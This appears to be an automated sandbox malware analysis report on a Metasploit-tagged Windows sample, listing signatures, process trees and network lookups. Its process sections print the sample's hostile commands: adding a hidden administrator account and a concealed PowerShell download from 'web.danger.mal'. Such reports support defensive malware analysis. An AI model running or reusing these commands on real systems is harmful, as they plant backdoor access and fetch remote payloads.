Malware Analysis Report

2024-09-23 04:00

Sample ID 240530-hf8c9saf42
Target sample1.exe_
SHA256 075a8576bb2f75bf56cfa8c88727011ac66f176ca5abe2a78978c556577e5058
Tags
metasploit backdoor execution trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

075a8576bb2f75bf56cfa8c88727011ac66f176ca5abe2a78978c556577e5058

Threat Level: Known bad

The file sample1.exe_ was found to be: Known bad.

Malicious Activity Summary

metasploit backdoor execution trojan

MetaSploit

Metasploit family

Grants admin privileges

Command and Scripting Interpreter: PowerShell

Unsigned PE

Suspicious use of AdjustPrivilegeToken

Runs net.exe

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-05-30 06:41

Signatures

Metasploit family

metasploit

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-30 06:41

Reported

2024-05-30 06:44

Platform

win10v2004-20240426-en

Max time kernel

150s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\sample1.exe"

Signatures

MetaSploit

trojan backdoor metasploit

Grants admin privileges

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Runs net.exe

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3992 wrote to memory of 3676 N/A C:\Users\Admin\AppData\Local\Temp\sample1.exe C:\Windows\SysWOW64\cmd.exe
PID 3992 wrote to memory of 3676 N/A C:\Users\Admin\AppData\Local\Temp\sample1.exe C:\Windows\SysWOW64\cmd.exe
PID 3992 wrote to memory of 3676 N/A C:\Users\Admin\AppData\Local\Temp\sample1.exe C:\Windows\SysWOW64\cmd.exe
PID 3676 wrote to memory of 3984 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 3676 wrote to memory of 3984 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 3676 wrote to memory of 3984 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 3984 wrote to memory of 4464 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 3984 wrote to memory of 4464 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 3984 wrote to memory of 4464 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 3676 wrote to memory of 1844 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 3676 wrote to memory of 1844 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 3676 wrote to memory of 1844 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 1844 wrote to memory of 464 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 1844 wrote to memory of 464 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 1844 wrote to memory of 464 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe

Processes

C:\Users\Admin\AppData\Local\Temp\sample1.exe

"C:\Users\Admin\AppData\Local\Temp\sample1.exe"

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c net user TestUser S3cret^S3cret /ADD && net localgroup Administrators TestUser /ADD

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -ExecutionPolicy bypass -WindowStyle Hidden -Command "(New-Object System.Net.WebClient).DownloadFile('http://web.danger.mal/danger','C:/danger')"

C:\Windows\SysWOW64\net.exe

net user TestUser S3cretS3cret /ADD

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 user TestUser S3cretS3cret /ADD

C:\Windows\SysWOW64\net.exe

net localgroup Administrators TestUser /ADD

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 localgroup Administrators TestUser /ADD

Network

Country Destination Domain Proto
US 8.8.8.8:53 82.90.14.23.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 216.131.50.23.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 udp

Files

memory/3992-0-0x0000000000400000-0x000000000041B1FC-memory.dmp

memory/3992-1-0x0000000000400000-0x000000000041B1FC-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-30 06:41

Reported

2024-05-30 06:44

Platform

win7-20240221-en

Max time kernel

121s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\sample1.exe"

Signatures

MetaSploit

trojan backdoor metasploit

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\sample1.exe

"C:\Users\Admin\AppData\Local\Temp\sample1.exe"

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c net user TestUser S3cret^S3cret /ADD && net localgroup Administrators TestUser /ADD

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -ExecutionPolicy bypass -WindowStyle Hidden -Command "(New-Object System.Net.WebClient).DownloadFile('http://web.danger.mal/danger','C:/danger')"

Network

Country Destination Domain Proto
US 8.8.8.8:53 web.danger.mal udp

Files

memory/2104-0-0x0000000000400000-0x000000000041B1FC-memory.dmp

memory/2104-1-0x0000000000020000-0x0000000000021000-memory.dmp

memory/2104-2-0x0000000000400000-0x000000000041B1FC-memory.dmp

memory/1280-5-0x0000000074601000-0x0000000074602000-memory.dmp

memory/1280-6-0x0000000074600000-0x0000000074BAB000-memory.dmp

memory/1280-8-0x0000000074600000-0x0000000074BAB000-memory.dmp

memory/1280-7-0x0000000074600000-0x0000000074BAB000-memory.dmp

memory/1280-9-0x0000000074600000-0x0000000074BAB000-memory.dmp

memory/1280-10-0x0000000074600000-0x0000000074BAB000-memory.dmp